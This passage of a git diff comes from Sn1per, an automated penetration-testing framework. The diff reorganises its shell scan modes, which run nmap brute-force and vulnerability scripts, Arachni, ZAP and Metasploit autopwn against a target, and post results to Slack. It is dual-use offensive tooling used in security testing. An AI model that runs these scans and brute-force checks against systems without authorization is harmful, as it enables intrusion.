•?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt + cat $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications.txt 2> /dev/null fi fi if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then @@ -301,6 +302,8 @@ if [[ "$MODE" = "stealth" ]]; then diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt" + echo "[xerosecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt + cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications.txt 2> /dev/null fi fi if [[ "$GOBUSTER" == "1" ]]; then @@ -444,6 +447,8 @@ if [[ "$MODE" = "stealth" ]]; then diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt" + echo "[xerosecurity.com] •?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt + cat $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications.txt 2> /dev/null fi fi if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then @@ -467,6 +472,8 @@ if [[ "$MODE" = "stealth" ]]; then diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt" + echo "[xerosecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt + cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications.txt 2> /dev/null fi fi if [[ "$GOBUSTER" == "1" ]]; then @@ -522,10 +529,16 @@ if [[ "$MODE" = "stealth" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" SSL="false" PORT="80" - source $INSTALL_DIR/modes/sc0pe-passive-scan.sh + source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh SSL="true" PORT="443" - source $INSTALL_DIR/modes/sc0pe-passive-scan.sh + source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh + + for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do + source $file + done + + source $INSTALL_DIR/modes/sc0pe-network-scan.sh echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" fi @@ -554,8 +567,8 @@ if [[ "$MODE" = "stealth" ]]; then echo -e "" echo -e "" echo "$TARGET" >> $LOOT_DIR/scans/updated.txt - mv $LOOT_DIR/scans/running-$TARGET-stealth.txt $LOOT_DIR/scans/finished-$TARGET-stealth.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + rm -f $LOOT_DIR/scans/running_${TARGET}_stealth.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt rm -f $INSTALL_DIR/.fuse_* 2> /dev/null sort -u $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null > $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null diff --git a/modes/vulnscan.sh b/modes/vulnscan.sh index 2455d2b..3b4ddfb 100644 --- a/modes/vulnscan.sh +++ b/modes/vulnscan.sh @@ -15,7 +15,7 @@ if [[ "$MODE" = "vulnscan" ]]; then mkdir $LOOT_DIR/scans 2> /dev/null mkdir $LOOT_DIR/output 2> /dev/null fi - args="$args --noreport -m vulnscan" + args="$args --noreport -m vulnscan" echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-vulnscan.txt sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1 @@ -25,7 +25,7 @@ if [[ "$MODE" = "vulnscan" ]]; then if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" echo "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt - fi + fi echo "$TARGET" >> $LOOT_DIR/domains/targets.txt echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt @@ -91,7 +91,28 @@ if [[ "$MODE" = "vulnscan" ]]; then omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G | grep $TARGET fi fi - source $INSTALL_DIR/modes/sc0pe.sh + if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + SSL="false" + PORT="80" + source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh + source $INSTALL_DIR/modes/sc0pe-active-webscan.sh + SSL="true" + PORT="443" + source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh + source $INSTALL_DIR/modes/sc0pe-active-webscan.sh + + for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do + source $file + done + + source $INSTALL_DIR/modes/sc0pe-network-scan.sh + fi + + source $INSTALL_DIR/modes/sc0pe.sh + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" diff --git a/modes/web_autopwn.sh b/modes/web_autopwn.sh index 1b7d371..5f8d1e9 100644 --- a/modes/web_autopwn.sh +++ b/modes/web_autopwn.sh @@ -233,13 +233,4 @@ sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.txt 2> /dev/null rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-cisco_rv32x_rce.raw 2> /dev/null fi - - if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - source $INSTALL_DIR/modes/sc0pe-passive-scan.sh - source $INSTALL_DIR/modes/sc0pe-active-scan.sh - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - fi \ No newline at end of file diff --git a/modes/webporthttp.sh b/modes/webporthttp.sh index 2215c76..7c0863e 100644 --- a/modes/webporthttp.sh +++ b/modes/webporthttp.sh @@ -16,8 +16,8 @@ if [[ "$MODE" = "webporthttp" ]]; then fi echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE -p $PORT --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt - echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-webporthttp.txt - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" echo "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt @@ -157,7 +157,7 @@ if [[ "$MODE" = "webporthttp" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -Pn -p $PORT -sV -v --script-timeout 90 --script=http-adobe-coldfusion-apsa1301,http-apache-server-status,http-aspnet-debug,http-auth-finder,http-auth,http-avaya-ipoffice-users,http-awstatstotals-exec,http-axis2-dir-traversal,http-backup-finder,http-barracuda-dir-traversal,http-brute,http-cakephp-version,http-chrono,http-config-backup,http-cookie-flags,http-cors,http-cross-domain-policy,http-csrf,http-date,http-default-accounts,http-devframework,http-dlink-backdoor,http-dombased-xss,http-domino-enum-passwords,http-drupal-enum-users,http-drupal-enum,http-errors,http-feed,http-fetch,http-fileupload-exploiter,http-form-brute,http-form-fuzzer,http-frontpage-login,http-generator,http-git,http-gitweb-projects-enum,http-google-malware,http-grep,http-headers,http-huawei-hg5xx-vuln,http-icloud-findmyiphone,http-icloud-sendmsg,http-iis-short-name-brute,http-iis-webdav-vuln,http-internal-ip-disclosure,http-joomla-brute,http-ls,http-majordomo2-dir-traversal,http-method-tamper,http-methods,http-mobileversion-checker,http-ntlm-info,http-open-proxy,http-open-redirect,http-passwd,http-php-version,http-phpmyadmin-dir-traversal,http-phpself-xss,http-proxy-brute,http-put,http-qnap-nas-info,http-rfi-spider,http-robots.txt,http-robtex-reverse-ip,http-robtex-shared-ns,http-security-headers,http-server-header,http-shellshock,http-sitemap-generator,http-sql-injection,http-stored-xss,http-svn-enum,http-svn-info,http-title,http-tplink-dir-traversal,http-trace,http-traceroute,http-unsafe-output-escaping,http-userdir-enum,http-vhosts,http-virustotal,http-vlcstreamer-ls,http-vmware-path-vuln,http-vuln-cve2006-3392,http-vuln-cve2009-3960,http-vuln-cve2010-0738,http-vuln-cve2010-2861,http-vuln-cve2011-3192,http-vuln-cve2011-3368,http-vuln-cve2012-1823,http-vuln-cve2013-0156,http-vuln-cve2013-6786,http-vuln-cve2013-7091,http-vuln-cve2014-2126,http-vuln-cve2014-2127,http-vuln-cve2014-2128,http-vuln-cve2014-2129,http-vuln-cve2014-3704,http-vuln-cve2014-8877,http-vuln-cve2015-1427,http-vuln-cve2015-1635,http-vuln-cve2017-1001000,http-vuln-cve2017-5638,http-vuln-cve2017-5689,http-vuln-cve2017-8917,http-vuln-misfortune-cookie,http-vuln-wnr1000-creds,http-waf-detect,http-waf-fingerprint,http-webdav-scan,http-wordpress-brute,http-wordpress-enum,http-wordpress-users,http-xssed,/usr/share/nmap/scripts/vulners,http-default-accounts --script-args http-default-accounts.fingerprintfile=/usr/share/sniper/bin/http-default-accounts-fingerprints-nndefaccts.lua $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT + nmap -Pn -p $PORT -sV -v --script-timeout 90 --script=http-auth-finder,http-auth,http-brute,/usr/share/nmap/scripts/vulners,http-default-accounts $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT sed -r "s/ /dev/null > $LOOT_DIR/output/nmap-$TARGET-port$PORT.txt 2> /dev/null rm -f $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null fi @@ -315,8 +315,22 @@ if [[ "$MODE" = "webporthttp" ]]; then SSL="false" source $INSTALL_DIR/modes/web_autopwn.sh - source $INSTALL_DIR/modes/osint_stage_2.sh - + source $INSTALL_DIR/modes/osint_stage_2.sh + fi + + if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + SSL="false" + source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh + source $INSTALL_DIR/modes/sc0pe-active-webscan.sh + + for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do + source $file + done + + source $INSTALL_DIR/modes/sc0pe-network-scan.sh fi source $INSTALL_DIR/modes/sc0pe.sh @@ -328,8 +342,8 @@ if [[ "$MODE" = "webporthttp" ]]; then echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo "$TARGET" >> $LOOT_DIR/scans/updated.txt - mv $LOOT_DIR/scans/running-$TARGET-$MODE.txt $LOOT_DIR/scans/finished-$TARGET-$MODE.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + rm -f $LOOT_DIR/scans/running_$TARGET_$MODE.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt rm -f $INSTALL_DIR/.fuse_* 2> /dev/null VULNERABLE_METASPLOIT=$(egrep -h -i -s "may be vulnerable|is vulnerable|IKE response with leak|File saved in" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null) if [[ ${#VULNERABLE_METASPLOIT} -ge 5 ]]; then diff --git a/modes/webporthttps.sh b/modes/webporthttps.sh index 07b2871..d78ee71 100644 --- a/modes/webporthttps.sh +++ b/modes/webporthttps.sh @@ -16,8 +16,8 @@ if [[ "$MODE" = "webporthttps" ]]; then fi echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE -p $PORT --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt - echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-$MODE.txt - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" echo "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt @@ -173,7 +173,7 @@ if [[ "$MODE" = "webporthttps" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -Pn -p $PORT -sV -v --script-timeout 90 --script=http-adobe-coldfusion-apsa1301,http-apache-server-status,http-aspnet-debug,http-auth-finder,http-auth,http-avaya-ipoffice-users,http-awstatstotals-exec,http-axis2-dir-traversal,http-backup-finder,http-barracuda-dir-traversal,http-brute,http-cakephp-version,http-chrono,http-config-backup,http-cookie-flags,http-cors,http-cross-domain-policy,http-csrf,http-date,http-default-accounts,http-devframework,http-dlink-backdoor,http-dombased-xss,http-domino-enum-passwords,http-drupal-enum-users,http-drupal-enum,http-errors,http-feed,http-fetch,http-fileupload-exploiter,http-form-brute,http-form-fuzzer,http-frontpage-login,http-generator,http-git,http-gitweb-projects-enum,http-google-malware,http-grep,http-headers,http-huawei-hg5xx-vuln,http-icloud-findmyiphone,http-icloud-sendmsg,http-iis-short-name-brute,http-iis-webdav-vuln,http-internal-ip-disclosure,http-joomla-brute,http-ls,http-majordomo2-dir-traversal,http-method-tamper,http-methods,http-mobileversion-checker,http-ntlm-info,http-open-proxy,http-open-redirect,http-passwd,http-php-version,http-phpmyadmin-dir-traversal,http-phpself-xss,http-proxy-brute,http-put,http-qnap-nas-info,http-rfi-spider,http-robots.txt,http-robtex-reverse-ip,http-robtex-shared-ns,http-security-headers,http-server-header,http-shellshock,http-sitemap-generator,http-sql-injection,http-stored-xss,http-svn-enum,http-svn-info,http-title,http-tplink-dir-traversal,http-trace,http-traceroute,http-unsafe-output-escaping,http-userdir-enum,http-vhosts,http-virustotal,http-vlcstreamer-ls,http-vmware-path-vuln,http-vuln-cve2006-3392,http-vuln-cve2009-3960,http-vuln-cve2010-0738,http-vuln-cve2010-2861,http-vuln-cve2011-3192,http-vuln-cve2011-3368,http-vuln-cve2012-1823,http-vuln-cve2013-0156,http-vuln-cve2013-6786,http-vuln-cve2013-7091,http-vuln-cve2014-2126,http-vuln-cve2014-2127,http-vuln-cve2014-2128,http-vuln-cve2014-2129,http-vuln-cve2014-3704,http-vuln-cve2014-8877,http-vuln-cve2015-1427,http-vuln-cve2015-1635,http-vuln-cve2017-1001000,http-vuln-cve2017-5638,http-vuln-cve2017-5689,http-vuln-cve2017-8917,http-vuln-misfortune-cookie,http-vuln-wnr1000-creds,http-waf-detect,http-waf-fingerprint,http-webdav-scan,http-wordpress-brute,http-wordpress-enum,http-wordpress-users,http-xssed,/usr/share/nmap/scripts/vulners,http-default-accounts --script-args http-default-accounts.fingerprintfile=/usr/share/sniper/bin/http-default-accounts-fingerprints-nndefaccts.lua $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT + nmap -Pn -p $PORT -sV -v --script-timeout 90 --script=http-auth-finder,http-auth,http-brute,/usr/share/nmap/scripts/vulners,http-default-accounts $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT sed -r "s/ /dev/null > $LOOT_DIR/output/nmap-$TARGET-port$PORT.txt 2> /dev/null rm -f $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null fi @@ -325,10 +325,23 @@ if [[ "$MODE" = "webporthttps" ]]; then SSL="true" source $INSTALL_DIR/modes/web_autopwn.sh source $INSTALL_DIR/modes/osint_stage_2.sh - + fi + + if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + SSL="true" + source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh + source $INSTALL_DIR/modes/sc0pe-active-webscan.sh + for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do + source $file + done + source $INSTALL_DIR/modes/sc0pe-network-scan.sh fi source $INSTALL_DIR/modes/sc0pe.sh + cd $INSTALL_DIR FULLNMAPSCAN="1" source $INSTALL_DIR/modes/fullportscan.sh @@ -337,8 +350,8 @@ if [[ "$MODE" = "webporthttps" ]]; then echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo "$TARGET" >> $LOOT_DIR/scans/updated.txt - mv $LOOT_DIR/scans/running-$TARGET-$MODE.txt $LOOT_DIR/scans/finished-$TARGET-$MODE.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt rm -f $INSTALL_DIR/.fuse_* 2> /dev/null VULNERABLE_METASPLOIT=$(egrep -h -i -s "may be vulnerable|is vulnerable|IKE response with leak|File saved in" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null) if [[ ${#VULNERABLE_METASPLOIT} -ge 5 ]]; then diff --git a/modes/webscan.sh b/modes/webscan.sh index b997169..802c822 100644 --- a/modes/webscan.sh +++ b/modes/webscan.sh @@ -46,25 +46,13 @@ if [[ "$MODE" = "webscan" ]]; then echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "$TARGET" >> $LOOT_DIR/domains/targets.txt touch $LOOT_DIR/scans/$TARGET-webscan.txt 2> /dev/null - echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-webscan.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt - + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" echo "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt fi - if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - SSL="false" - source $INSTALL_DIR/modes/sc0pe-passive-scan.sh - source $INSTALL_DIR/modes/sc0pe-active-scan.sh - SSL="true" - source $INSTALL_DIR/modes/sc0pe-passive-scan.sh - source $INSTALL_DIR/modes/sc0pe-active-scan.sh - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - fi + if [[ "$BURP_SCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET" @@ -103,12 +91,14 @@ if [[ "$MODE" = "webscan" ]]; then sudo python3 /usr/share/sniper/bin/zap-scan.py "http://$TARGET/" DATE=$(date +"%Y%m%d%H%M") sudo grep "'" /usr/share/sniper/bin/zap-report.txt | cut -d\' -f2 | cut -d\\ -f1 > $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html + cp -f $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html $LOOT_DIR/web/zap-report-$TARGET-http.html 2> /dev/null echo "[i] Scan complete." echo "[+] Report saved to: $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html" sleep 5 echo "[i] Scanning: https://$TARGET/" sudo python3 /usr/share/sniper/bin/zap-scan.py "https://$TARGET/" sudo grep "'" /usr/share/sniper/bin/zap-report.txt | cut -d\' -f2 | cut -d\\ -f1 > $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html + cp -f $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html $LOOT_DIR/web/zap-report-$TARGET-https.html 2> /dev/null echo "[i] Scan complete." echo "[+] Report saved to: $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html" fi @@ -116,16 +106,17 @@ if [[ "$MODE" = "webscan" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ARACHNI SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + DATE=$(date +"%Y%m%d%H%M") mkdir -p $LOOT_DIR/web/http-$TARGET/ mkdir -p $LOOT_DIR/web/https-$TARGET/ - arachni --report-save-path=$LOOT_DIR/web/http-$TARGET/ --output-only-positives http://$TARGET | tee $LOOT_DIR/output/sniper-$TARGET-webscan-http-`date +"%Y%m%d%H%M"`.txt 2>&1 - cp -f $LOOT_DIR/output/sniper-$TARGET-webscan-http-`date +"%Y%m%d%H%M"`.txt $LOOT_DIR/web/arachni-$TARGET-webscan-http-`date +"%Y%m%d%H%M"`.txt 2> /dev/null - arachni --report-save-path=$LOOT_DIR/web/https-$TARGET/ --output-only-positives https://$TARGET | tee $LOOT_DIR/output/sniper-$TARGET-webscan-https-`date +"%Y%m%d%H%M"`.txt 2>&1 - cp -f $LOOT_DIR/output/sniper-$TARGET-webscan-https-`date +"%Y%m%d%H%M"`.txt $LOOT_DIR/web/arachni-$TARGET-webscan-https-`date +"%Y%m%d%H%M"`.txt 2> /dev/null - + arachni --report-save-path=$LOOT_DIR/web/http-$TARGET/ --output-only-positives http://$TARGET | tee $LOOT_DIR/output/sniper-$TARGET-webscan-http-${DATE}.txt + cp -vf $LOOT_DIR/output/sniper-$TARGET-webscan-http-${DATE}.txt $LOOT_DIR/web/arachni-$TARGET-webscan-http.txt + sleep 1 + arachni --report-save-path=$LOOT_DIR/web/https-$TARGET/ --output-only-positives https://$TARGET | tee $LOOT_DIR/output/sniper-$TARGET-webscan-https-${DATE}.txt + cp -vf $LOOT_DIR/output/sniper-$TARGET-webscan-https-${DATE}.txt $LOOT_DIR/web/arachni-$TARGET-webscan-https.txt if [[ "$SLACK_NOTIFICATIONS_ARACHNI_SCAN" == "1" ]]; then - bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/output/sniper-$TARGET-webscan-http-`date +"%Y%m%d%H%M"`.txt" - bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/output/sniper-$TARGET-webscan-https-`date +"%Y%m%d%H%M"`.txt" + bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/output/sniper-$TARGET-webscan-http-$DATE.txt" + bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/output/sniper-$TARGET-webscan-https-$DATE.txt" fi cd $LOOT_DIR/web/http-$TARGET/ cd $LOOT_DIR/web/https-$TARGET/ @@ -137,15 +128,30 @@ if [[ "$MODE" = "webscan" ]]; then unzip arachni.zip cd $INSTALL_DIR fi + if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then 